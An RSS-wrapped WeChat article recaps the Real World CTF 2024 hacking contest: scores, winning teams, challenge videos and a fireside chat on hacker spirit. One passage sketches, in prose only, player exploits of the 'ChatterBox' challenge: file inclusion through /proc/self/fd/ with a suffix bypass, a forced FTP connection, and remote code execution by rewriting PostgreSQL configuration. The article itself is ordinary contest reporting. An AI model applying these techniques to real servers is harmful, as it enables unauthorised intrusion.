<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>胖哈勃</title>
    <link>https://wechat2rss.xlab.app/feed/280cc6aaef116a9701025a97aa73f7ee731bac36.xml</link>
    <description>1990年，哈勃望远镜（Hubble Space Telescope）发射升空，开启了人类对宇宙空间的崭新探索。 现在，Pwnhub的出现，将引领那些对网络安全感兴趣的人们探索“0 1”世界中的无限奥秘。&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (胖哈勃)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM6ibRpsUWHiaEBDbqkU66w9sVDAjvCIb531p2AI3gIKv4vg/0</url>
      <title>胖哈勃</title>
      <link>https://wechat2rss.xlab.app/feed/280cc6aaef116a9701025a97aa73f7ee731bac36.xml</link>
    </image>
    <item>
      <title>精彩回顾｜Real World CTF 2024，我说你别太i了！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI2OTUzMzg3Ng==&amp;mid=2247501518&amp;idx=1&amp;sn=01cefd9f970cc78b80a55da9504f2e81</link>
      <description>还不是因为热爱</description>
      <content:encoded><![CDATA[<p>
<span>长亭科技</span> <span>2024-02-04 18:18</span> <span style="display: inline-block;">河南</span>
</p>

<p>还不是因为热爱</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f1bdadad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FtzAD45OOV0aLkEqpIAPARA87Elwc9Wlsu5FibJKNqiaMyiaUiaaOmbm4bY8pXsnure8vj3JBHOTQOkV0CiaC7PicOZ6A%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p data-mpa-powered-by="yiban.io"><br/></p><section data-role="outer" label="edit by 135editor" style="font-size: 16px;"><p style="text-align:justify;"><img class="rich_pages wxw-img" data-backh="990" data-backw="578" data-ratio="1.712037037037037" data-w="1080" style="font-size: 15px;letter-spacing: 0px;caret-color: red;vertical-align: inherit;width: 100%;box-sizing: border-box;max-width: 100% !important;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=9eb9c04c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFuleibl6qMur3RXrtIgVBwwibN6SrbWOyIX6Jsia5FCr3szqMjvJibydjicHzf5j6U8QpAATvvuYh5jh8rGuyxjTojw%2F640"/><br/></p><p style="text-align:center;line-height: 2em;"><span style="color: black;font-size: 15px;letter-spacing: 0px;"><span style="color: rgb(0, 0, 0);font-size: 15px;text-align: center;caret-color: rgb(255, 0, 0);text-decoration-thickness: initial;display: inline !important;font-family:微软雅黑, &#39;Microsoft YaHei&#39;, sans-serif;">伴随着某选手的灵魂发问</span></span></p><p style="text-align:center;line-height: 2em;"><span style="color: black;font-size: 15px;letter-spacing: 0px;">1月26日19:00 <span style="color: black;font-size: 15px;letter-spacing: 0px;text-decoration: none solid rgb(0, 0, 0);">（GMT+8）</span></span></p><p style="text-align:center;line-height: 2em;"><span style="color: black;font-size: 15px;letter-spacing: 0px;">第六届Real World CTF正式开赛</span></p><p style="text-align:center;line-height: 1.75em;"><br/></p><p style="text-align:center;line-height: 2em;"><span style="color: black;font-size: 15px;letter-spacing: 0px;">令数千名CTFer </span><span style="color: black;font-size: 15px;letter-spacing: 0px;text-decoration: line-through;">抓狂</span><span style="color: black;font-size: 15px;letter-spacing: 0px;text-decoration: none;">期待</span><span style="color: black;font-size: 15px;letter-spacing: 0px;">的技术party开始了</span></p><p style="text-align:center;line-height: 2em;"><span style="font-size: 15px;letter-spacing: 0px;"><span style="color: black;font-size: 15px;letter-spacing: 0px;">据说 本次出题组&amp;直播组i人云集</span></span></p><p style="text-align:center;line-height: 2em;"><span style="font-size: 15px;letter-spacing: 0px;">一起一探究竟吧</span></p><p style="text-align:justify;line-height: 1.75em;" draggable="true"><br/></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 0px;"><strong><span style="background: yellow;font-size: 15px;letter-spacing: 0px;"></span></strong><img class="rich_pages wxw-img" data-backh="161" data-backw="578" data-ratio="0.2777777777777778" data-w="1080" style="vertical-align: inherit;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=08e5f56e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFuleibl6qMur3RXrtIgVBwwibN6SrbWOyI505YBGwhtYys6ORNu6PMtdTKFVnJgvvRaNlgj0QyYGgUXar7lc0KKg%2F640"/><strong><span style="background: yellow;font-size: 15px;letter-spacing: 0px;"></span></strong><strong><span style="background: yellow;font-size: 15px;letter-spacing: 0px;"></span></strong></span></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:center;line-height: 2em;"><span style="color: rgb(122, 194, 89);letter-spacing: normal;font-size: 28px;line-height: 1em;"><strong><span style="letter-spacing: 0px;font-size: 28px;">2200</span></strong></span><span style="font-size: 15px;letter-spacing: 0px;">余支顶尖国际战队</span></p><p style="text-align:center;line-height: 2em;"><span style="color: rgb(122, 194, 89);letter-spacing: normal;font-size: 28px;line-height: 1em;"><strong><span style="color: rgb(122, 194, 89);line-height: 1em;letter-spacing: 0px;font-size: 28px;">48</span></strong></span><span style="font-size: 15px;letter-spacing: 0px;">小时激烈角逐</span></p><p style="text-align:center;line-height: 2em;"><span style="color: rgb(122, 194, 89);letter-spacing: normal;font-size: 28px;line-height: 1em;"><strong><span style="color: rgb(122, 194, 89);line-height: 1em;letter-spacing: 0px;font-size: 28px;">千余</span></strong></span><span style="font-size: 15px;letter-spacing: 0px;">次签到题解出</span></p><p style="text-align:center;line-height: 2em;"><span style="color: rgb(122, 194, 89);letter-spacing: normal;font-size: 28px;line-height: 1em;"><strong><span style="color: rgb(122, 194, 89);line-height: 1em;letter-spacing: 0px;font-size: 28px;">1352</span></strong></span><span style="font-size: 15px;letter-spacing: 0px;">次有效flag提交</span></p><p style="text-align:center;line-height: 2em;"><span style="color: rgb(122, 194, 89);letter-spacing: normal;font-size: 28px;line-height: 1em;"><strong><span style="color: rgb(122, 194, 89);line-height: 1em;letter-spacing: 0px;font-size: 28px;">16</span></strong></span><span style="font-size: 15px;letter-spacing: 0px;">次一血</span></p><p style="text-align:center;line-height: 2em;"><span style="font-size: 15px;letter-spacing: 0px;">积分榜首得主数次反转</span></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 0px;">比赛过程中，前10战队比分分外胶着，一道题目的积分差距即有可能造成战局大反转，战况分外激烈。</span></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 0px;"><img class="rich_pages wxw-img" data-backh="231" data-backw="578" data-ratio="0.3990740740740741" data-w="1080" style="margin: 0px;padding: 0px;cursor: pointer;color: rgb(186, 186, 186);font-size: 16px;text-align: justify;caret-color: rgb(255, 0, 0);background-color: rgb(186, 186, 186);text-decoration-thickness: initial;vertical-align: inherit;max-inline-size: 100%;font-family: 微软雅黑, &#39;Microsoft YaHei&#39;, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: none 0px !important;height: auto;width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=7b471e46&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FFuleibl6qMur3RXrtIgVBwwibN6SrbWOyI9tG9z7icibvKiad5sic6z0oicDLRwuWcFlR5nnJleVKuHcIqPq8GIGtInXQ%2F640"/></span></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 0px;">最终，Kalmarunionen战队历经48小时奋战角逐勇登榜首，凭借T-Box题目唯一解脱颖而出，从上一届的第26名直冲本届积分榜首，终以2293的总积分优势力夺RWCTF 2024国际赛冠军；由PPP，The Duck，Maple Bacon三支<span style="font-size: 15px;letter-spacing: 0px;color: rgb(0, 0, 0);">老牌</span>战队联合组成的MMM战队首战告捷，以小比分差距荣登亚军；Friendly Maltese Citizens战队紧随其后，荣获季军。</span></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><img class="rich_pages wxw-img" data-backh="173" data-backw="578" data-ratio="0.2995169082125604" data-w="828" style="vertical-align: inherit;width: 100%;box-sizing: border-box;max-width: 100% !important;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=1a5ad067&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFuleibl6qMur3RXrtIgVBwwibN6SrbWOyIyIKSoqsYV7lJssvh18IT9CzsbCRm0iaLrVkkSRCeFwoYKKKzKltqN5g%2F640"/></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 0px;">隔壁体验赛同样上演了一场惊心动魄的24h技术交锋。来自企业、高校和长亭合作伙伴的328支战队参赛竞技、各显神通，将15道题目全部攻破。</span></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><img class="rich_pages wxw-img" data-backh="231" data-backw="578" data-ratio="0.3990740740740741" data-w="1080" style="vertical-align: inherit;width: 100%;box-sizing: border-box;max-width: 100% !important;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb2e725b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FFuleibl6qMur3RXrtIgVBwwibN6SrbWOyIJUASujOibibibeqdNPhfJicfBOdwDlMPYlvLSFhia260HMBInH1OSPmSz9w%2F640"/></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 0px;">最后，<span style="color: black;font-size: 15px;letter-spacing: 0px;">U8f2_team战队、天枢Dubhe战队和枇杷135元一箱战队，分别荣获企业赛道、高校赛道和伙伴赛道第一名桂冠。</span></span></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 0px;"><span style="color: black;font-size: 15px;letter-spacing: 0px;">更令人惊喜的是，来自北京邮电大学的天枢Dubhe战队和来自南京邮电大学的X1cT34m战队均仅差一题便完成了AK</span>（破解全部题目），尽显后浪实力。</span></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 0px;"><strong><span style="background: yellow;font-size: 15px;letter-spacing: 0px;"></span></strong><img class="rich_pages wxw-img" data-backh="161" data-backw="578" data-ratio="0.2777777777777778" data-w="1080" style="vertical-align: inherit;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=de4def3a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFuleibl6qMur3RXrtIgVBwwibN6SrbWOyIbkDdhFSZAN0T3MfONJiaFYS5ejSTDsIYh8usB5J6UcJr0J7b7y4jTCA%2F640"/><strong><span style="background: yellow;font-size: 15px;letter-spacing: 0px;"></span></strong><strong><span style="background: yellow;font-size: 15px;letter-spacing: 0px;"></span></strong></span></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 0px;">历届RWCTF总有那么几道题目有本事让人怀疑人生，今年当然也不例外。<strong><span style="font-size: 15px;letter-spacing: 0px;color: rgb(122, 194, 89);">国际赛总共21道题目，直到比赛结束仍有5道题目呈现0解状态，未有人窥得门径，4道题目仅有1解。</span></strong></span></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><span style="color: black;font-size: 15px;letter-spacing: 0px;">由于每届题目都被吐槽太难，今年，主办方特地征集了2个大家讨论热度非常高的题目，比赛一结束，立马邀请出题人现场给答案——i人为了让选手满意也是使出了浑身解数。</span></p><p style="text-align:justify;line-height: 1.75em;"><span style="color: black;font-size: 15px;letter-spacing: 0px;"><br/></span></p><section class="channels_iframe_wrp"><mp-common-videosnap class="js_uneditable custom_select_card channels_iframe videosnap_video_iframe" data-pluginname="mpvideosnap" data-url="https://findermp.video.qq.com/251/20304/stodownload?encfilekey=rjD5jyTuFrIpZ2ibE8T7YmwgiahniaXswqzJ6yTl4faxVG251J1f5MEZw5k3iaPATDicEVnl7aAB6sHlpXhydBh0KcWahqkib90a2d4GJKMdO11491s6DOMBQwoQ&amp;bizid=1023&amp;dotrans=0&amp;hy=SH&amp;idx=1&amp;m=&amp;scene=0&amp;token=x5Y29zUxcibCyALEX4NAiaosicQguXJlX74MGz4W05SWMZ3MHxBb1lXWa5gjbA4croqT6aUraPSI2o" data-headimgurl="http://wx.qlogo.cn/finderhead/4z6EicEGJeO1ZBwot9AOVYOzzZEU42sdQC0r955EjGNU/0" data-username="v2_060000231003b20faec8cae18d18c4d2ca03eb3db077edf5359141f10c12480fa838d9e93115@finder" data-nickname="长亭科技" data-desc="第6届 REAL WORLD CTF
Long Range 2 题目讲解
" data-nonceid="9591191050392099028" data-type="video" data-mediatype="undefined" data-authiconurl="https://dldir1v6.qq.com/weixin/checkresupdate/icons_filled_channels_authentication_enterprise_a2658032368245639e666fb11533a600.png" data-from="new" data-width="1920" data-height="1080" data-id="export/UzFfAgtgekIEAQAAAAAAitMr5qkWCwAAAAstQy6ubaLX4KHWvLEZgBPEl6IoVXgMdL-FzNPgMItMbc9hyXQT_BxFKWfNh2r7" data-isdisabled="0" data-errortips=""></mp-common-videosnap></section><section class="channels_iframe_wrp"><mp-common-videosnap class="js_uneditable custom_select_card channels_iframe videosnap_video_iframe" data-pluginname="mpvideosnap" data-url="https://findermp.video.qq.com/251/20304/stodownload?encfilekey=rjD5jyTuFrIpZ2ibE8T7YmwgiahniaXswqzGeGYYicib0sXTuVHfKLuPRQ9mHBsJ1DSsRLjU9qsCTuichb7fFEhoia3Pmt6zkRWL25icicol4Gs463atDulUXvCArxg&amp;bizid=1023&amp;dotrans=0&amp;hy=SH&amp;idx=1&amp;m=&amp;scene=0&amp;token=AxricY7RBHdWA8wLYhSjSA44iaTicY4SOZN9lIKTH4BQE1An8RCBqIBXYnvBCHsbdicMnSxq3mFBKFc" data-headimgurl="http://wx.qlogo.cn/finderhead/4z6EicEGJeO1ZBwot9AOVYOzzZEU42sdQC0r955EjGNU/0" data-username="v2_060000231003b20faec8cae18d18c4d2ca03eb3db077edf5359141f10c12480fa838d9e93115@finder" data-nickname="长亭科技" data-desc="第6届 REAL WORLD CTF
ChatterBox 题目讲解
" data-nonceid="18180471008429755834" data-type="video" data-mediatype="undefined" data-authiconurl="https://dldir1v6.qq.com/weixin/checkresupdate/icons_filled_channels_authentication_enterprise_a2658032368245639e666fb11533a600.png" data-from="new" data-width="1920" data-height="1080" data-id="export/UzFfAgtgekIEAQAAAAAAyj0kl5AJ8AAAAAstQy6ubaLX4KHWvLEZgBPEkKIgdWhkdL-FzNPgMItzrAnSRqOQ5d0EK8c0Fk6t" data-isdisabled="0" data-errortips=""></mp-common-videosnap></section><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><strong><span style="font-size: 15px;letter-spacing: 0px;color: rgb(122, 194, 89);">都说高手之间的碰撞是一个相互成就的过程，连续6年的较量间，不仅选手从题目中汲取了经验思路，出题组也从选手处收获颇丰。</span></strong><span style="font-size: 15px;letter-spacing: 0px;caret-color: red;">以今年备受热议的ChatterBox题目为例。这道题目主要考验选手的代码审计、沙箱逃逸等技巧，出题人给出的思路是从获取管理员密码入手搞定题目（详见视频解析）。</span></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 0px;">然而，选手们却给出了多种奇妙解题姿势：</span></p><section data-tools="135编辑器" data-id="107467"><section style="text-align: left;margin: 10px auto;"><section style="background-color: #f7f7f7;padding: 15px 15px 30px 15px;box-sizing:border-box;"><section style="background-color: #ffffff;padding: 20px 15px;margin-top: 15px;transform-style: preserve-3d;box-sizing:border-box;"><section style="font-size: 30px;letter-spacing: 0px;color: #bababa;line-height: 30px;transform: translateZ(5px);-webkit-transform: translateZ(5px);-moz-transform: translateZ(5px);-o-transform: translateZ(5px);"><strong>0</strong><strong data-original-title="" title="">1</strong></section><section style="font-size: 14px;letter-spacing: 1.5px;color: #000;background-color: #feffff;margin-top: -8px;padding: 1px 0;box-sizing:border-box;transform: translateZ(10px);-webkit-transform: translateZ(10px);-moz-transform: translateZ(10px);-o-transform: translateZ(10px);"><strong data-brushtype="text">选手解题姿势一</strong></section><section data-autoskip="1" style="margin-top: 5px;text-align: justify;line-height:1.75em;letter-spacing: 1.5px;font-size:14px;color:#000;background: transparent;"><p style="vertical-align:inherit;">通过深入分析 getResource 的代码直接请求一个IP，促使题目直接向目标服务器发起 FTP 连接，甚至可以不用文件上传。</p></section></section><section style="background-color: #ffffff;padding: 20px 15px;margin-top: 15px;transform-style: preserve-3d;box-sizing:border-box;"><section style="font-size: 30px;letter-spacing: 0px;color: #bababa;line-height: 30px;transform: translateZ(5px);-webkit-transform: translateZ(5px);-moz-transform: translateZ(5px);-o-transform: translateZ(5px);"><strong>0</strong><strong data-original-title="" title="">2</strong></section><section style="font-size: 14px;letter-spacing: 1.5px;color: #000;background-color: #feffff;margin-top: -8px;padding: 1px 0;box-sizing:border-box;transform: translateZ(10px);-webkit-transform: translateZ(10px);-moz-transform: translateZ(10px);-o-transform: translateZ(10px);"><strong>选手解题姿势二</strong></section><section data-autoskip="1" style="margin-top: 5px;text-align: justify;line-height:1.75em;letter-spacing: 1.5px;font-size:14px;color:#000;background: transparent;"><p style="vertical-align:inherit;">发现服务器上传文件会保存临时文件在 /proc/self/fd/ 中，巧妙地通过 ? 或者 # 对后缀限制进行绕过，从而达到文件包含。</p></section></section><section style="background-color: #ffffff;padding: 20px 15px;margin-top: 15px;transform-style: preserve-3d;box-sizing:border-box;"><section style="font-size: 30px;letter-spacing: 0px;color: #bababa;line-height: 30px;transform: translateZ(5px);-webkit-transform: translateZ(5px);-moz-transform: translateZ(5px);-o-transform: translateZ(5px);"><strong>0</strong><strong data-original-title="" title="">3</strong></section><section style="font-size: 14px;letter-spacing: 1.5px;color: #000;background-color: #feffff;margin-top: -8px;padding: 1px 0;box-sizing:border-box;transform: translateZ(10px);-webkit-transform: translateZ(10px);-moz-transform: translateZ(10px);-o-transform: translateZ(10px);"><strong data-brushtype="text">选手解题姿势三</strong></section><section data-autoskip="1" style="margin-top: 5px;text-align: justify;line-height:1.75em;letter-spacing: 1.5px;font-size:14px;color:#000;background: transparent;"><p style="vertical-align:inherit;">发现直接修改 postgresql 的配置文件然后通过重新加载配置文件进行 RCE，甚至无需用到出题方提供的渲染接口便解开了题目。</p></section></section></section></section></section><section data-tools="135编辑器" data-id="137961"><section data-tools="135编辑器" data-id="94875"><section style="display: flex;"><section style="width:8px;height:30px;background: #fefefe;margin-right: -5px;box-sizing:border-box;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="width: 6px;height: 6px;background: rgb(186, 186, 186);border-radius: 100%;margin: 0px auto;box-sizing: border-box;overflow: hidden;"><br/></section><section style="width: 6px;height: 6px;background: rgb(186, 186, 186);border-radius: 100%;margin: 4px auto;box-sizing: border-box;overflow: hidden;"><br/></section><section style="width: 6px;height: 6px;background: rgb(186, 186, 186);border-radius: 100%;margin: 0px auto;box-sizing: border-box;overflow: hidden;"><br/></section><section style="width: 6px;background: rgb(186, 186, 186);margin: 0px auto;box-sizing: border-box;height: 0px;overflow: hidden;"><br/></section></section><section style="display: flex;"><section style="display: flex;"><section style="width: 4px;height: 100%;background-color: rgb(186, 186, 186);border-radius: 6px;box-sizing: border-box;overflow: hidden;"><br/></section></section><section data-autoskip="1" style="box-sizing:border-box;padding-left:10px;font-size: 14px;color:#bababa;letter-spacing: 1.5px;text-align: justify;"><p style="text-align:justify;"><span style="letter-spacing: 0px;color: rgb(135, 135, 135);">“ChatterBox 这道题确实有很多解法和预期解法不太一样，甚至有一些是我没有想到的方法，但是我觉得也挺好的！很高兴看到参赛选手能在题目中获得一些收获，哪怕很小的收获。说不定在我们以后的工作中，就能够用上呢！”</span></p><p style="text-align:right;"><span style="letter-spacing: 0px;color: rgb(135, 135, 135);">——ChatterBox出题人</span></p></section></section></section></section></section><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 0px;"><strong><span style="background: yellow;font-size: 15px;letter-spacing: 0px;"><img class="rich_pages wxw-img" data-backh="161" data-backw="578" data-ratio="0.2777777777777778" data-w="1080" style="vertical-align: inherit;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=8a6ca600&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFuleibl6qMur3RXrtIgVBwwibN6SrbWOyICkWkg7XvKGvGQ3DhEfZ0Qe0ydpXHMRBfKKp357pPL6Rp8MDPCnfiaLA%2F640"/></span></strong><strong><span style="background: yellow;font-size: 15px;letter-spacing: 0px;"></span></strong></span></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><section class="channels_iframe_wrp"><mp-common-videosnap class="js_uneditable custom_select_card channels_iframe videosnap_video_iframe" data-pluginname="mpvideosnap" data-url="https://findermp.video.qq.com/251/20304/stodownload?encfilekey=rjD5jyTuFrIpZ2ibE8T7YmwgiahniaXswqzMCdfLQB7oTlrKE95zq3H2ib6hkxX083piaKHchvFPK6gViaobe4ltuP534MvSa3nodhHtrnLBAR8L7iaQzwLfX0OXg&amp;bizid=1023&amp;dotrans=0&amp;hy=SH&amp;idx=1&amp;m=&amp;scene=0&amp;token=AxricY7RBHdWA8wLYhSjSAicdHPibhgqnOFiacbVauAuKI3mBicTp8Z86bSjjJDVHaIG6a1EZujC2UFU" data-headimgurl="http://wx.qlogo.cn/finderhead/4z6EicEGJeO1ZBwot9AOVYOzzZEU42sdQC0r955EjGNU/0" data-username="v2_060000231003b20faec8cae18d18c4d2ca03eb3db077edf5359141f10c12480fa838d9e93115@finder" data-nickname="长亭科技" data-desc="第6届 REAL WORLD CTF
开赛之夜 围炉夜话
" data-nonceid="4546660264295160118" data-type="video" data-mediatype="undefined" data-authiconurl="https://dldir1v6.qq.com/weixin/checkresupdate/icons_filled_channels_authentication_enterprise_a2658032368245639e666fb11533a600.png" data-from="new" data-width="1920" data-height="1080" data-id="export/UzFfAgtgekIEAQAAAAAA_nExSwq2oQAAAAstQy6ubaLX4KHWvLEZgBPE66J8VWR4ar-FzNPgMItUoE1ppu4kQliIeE0bmfDv" data-isdisabled="0" data-errortips=""></mp-common-videosnap></section><p style="text-align:justify;line-height: 1.75em;" draggable="true"><br/></p><p style="text-align:justify;line-height: 1.75em;"><span style="color: black;font-size: 15px;letter-spacing: 0px;">尊嘟假嘟，有小道消息称，本届RWCTF出题组被一大批i人占领了，就连围炉夜话也汇集了一批CTF届的大神级i人。康康今年围炉夜话的嘉宾都有谁：RWCTF创办人杨坤、最强大脑脑王郑林楷、Nu1L战队创始人付浩、Redbud战队Eki以及RWCTF出题组救火队长Explorer——当真大咖云集。</span></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><span style="color: black;font-size: 15px;letter-spacing: 0px;"><img class="rich_pages wxw-img" data-backh="292" data-backw="578" data-ratio="0.5055555555555555" data-w="1080" style="vertical-align: inherit;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=96870329&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFuleibl6qMur3RXrtIgVBwwibN6SrbWOyIWBb0SYfIiawVA2acefGd0LLIiarh2M8fkUryiacGqOaVUo0fnVb1KenMw%2F640"/></span></p><p style="text-align:center;line-height: 1.75em;"><img class="rich_pages wxw-img" data-backh="518" data-backw="464" data-ratio="1.1157894736842104" width="464" data-w="570" data-width="464px" style="vertical-align: inherit;width: 100%;box-sizing: border-box;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=5082e2a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFuleibl6qMur3RXrtIgVBwwibN6SrbWOyI41IpbKKjgRMfZ0jfVYnky61JsE4fcpK9ANnKNWMkuwXNfvNdm0BFWg%2F640"/></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><span style="color: black;font-size: 15px;letter-spacing: 0px;">从i人的视角看，独自打一场CTF、享受挑战、追求突破，是一种热爱、是一种技术磨砺和经验加成。</span></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><span style="text-align: justify;caret-color: rgb(255, 0, 0);text-decoration-thickness: initial;color: black;font-size: 15px;letter-spacing: 0px;display: inline !important;font-family:微软雅黑, &#39;Microsoft YaHei&#39;, sans-serif;">对于Nu1L战队创始人付浩而言，打CTF的经历，为他目前的团队管理工作带来了借鉴性的启发。<strong><span style="text-align: justify;caret-color: rgb(255, 0, 0);text-decoration-thickness: initial;font-size: 15px;letter-spacing: 0px;color: rgb(122, 194, 89);display: inline !important;font-family:微软雅黑, &#39;Microsoft YaHei&#39;, sans-serif;">“确定大家能力都ok的情况下，尽量和大家做朋友”</span></strong>，他分享道。</span></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><span style="color: black;font-size: 15px;letter-spacing: normal;line-height: 1.87em;">最强大脑“脑王”郑林楷则在直播中坦言，<span style="color: rgb(0, 0, 0);font-size: 15px;text-align: justify;text-decoration-thickness: initial;display: inline !important;font-family:mp-quote, -apple-system-font, &#39;system-ui&#39;, &#39;Helvetica Neue&#39;, &#39;PingFang SC&#39;, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;">对他来说，较之最强大脑的挑战，打CTF还会更难一</span><span style="color: rgb(0, 0, 0);font-size: 15px;text-align: justify;text-decoration-thickness: initial;display: inline !important;font-family:mp-quote, -apple-system-font, &#39;system-ui&#39;, &#39;Helvetica Neue&#39;, &#39;PingFang SC&#39;, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;">些。</span>因为<strong><span style="font-size: 15px;letter-spacing: normal;line-height: 1.87em;color: rgb(122, 194, 89);">CTF需要大量的经验和知识储备，而这些东西需要长时间的积累，也很看天赋。</span></strong>他很享受打CTF的感觉，那种突破挑战的快乐是令人非常享受的过程。</span></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><span style="font-size: 15px;caret-color: red;letter-spacing: 0px;">当然，这其中也有令人emo的部分，比如misc题目。<strong><span style="font-size: 15px;caret-color: red;letter-spacing: 0px;color: rgb(122, 194, 89);">这类题目不仅考验技术实力，还需要足够的发散性思维、需要抓住出题人的脑洞。</span></strong>对于出题组救火队长Explorer来说，他实在与这类题目无缘，怎么也对不上出题人的脑洞。也不知是不是由于这个原因，今年的RWCTF题目均为NO GUESSING，无需强大脑洞，亦没有出现黑盒。<br/></span></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><strong><span style="font-size: 15px;letter-spacing: normal;line-height: 1.87em;color: rgb(122, 194, 89);">无论快乐还是emo，不变的是对CTF的那份热爱。</span></strong><span style="color: black;font-size: 15px;letter-spacing: normal;line-height: 1.87em;">直播中，RWCTF创办人杨坤博士将“黑客精神”描述为一种对世间条条框框、规则漏洞的质疑、修缮，一种对困难的挑战与突破。<strong><span style="letter-spacing: normal;line-height: 1.87em;font-size: 15px;text-align: justify;caret-color: rgb(255, 0, 0);text-decoration-thickness: initial;color: rgb(122, 194, 89);display: inline !important;font-family:微软雅黑, &#39;Microsoft YaHei&#39;, sans-serif;">RWCTF在做的，就是要让全球的CTF爱好者拥有一个传递热爱、追求和分享技术经验&amp;技巧&amp;快乐的年度技术party，同时，也让自己回归到一种技术的纯真中。</span></strong></span></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><p style="text-align:justify;line-height: 1.75em;"><span style="color: black;font-size: 15px;letter-spacing: normal;line-height: 1.87em;"><span style="max-inline-size: 100%;margin: 0px;padding: 0px;cursor: text;color: black;font-size: 15px;text-align: justify;caret-color: rgb(255, 0, 0);text-decoration-thickness: initial;line-height: 1.87em;display: inline !important;box-sizing: border-box !important;overflow-wrap: break-word !important;outline: none 0px !important;font-family:微软雅黑, &#39;Microsoft YaHei&#39;, sans-serif;">对此，Eki引用段海新老师的话：</span><strong><span style="letter-spacing: normal;line-height: 1.87em;font-size: 15px;text-align: justify;caret-color: rgb(255, 0, 0);text-decoration-thickness: initial;color: rgb(122, 194, 89);display: inline !important;font-family:微软雅黑, &#39;Microsoft YaHei&#39;, sans-serif;">“‘黑客精神’就是通过发现这个世界的不美好，让世界变得更美好。”</span></strong></span></p><p style="text-align:justify;line-height: 1.75em;"><br/></p><section style=""><section data-copyright="135编辑器" data-id="0" data-name="" data-plugin="template" 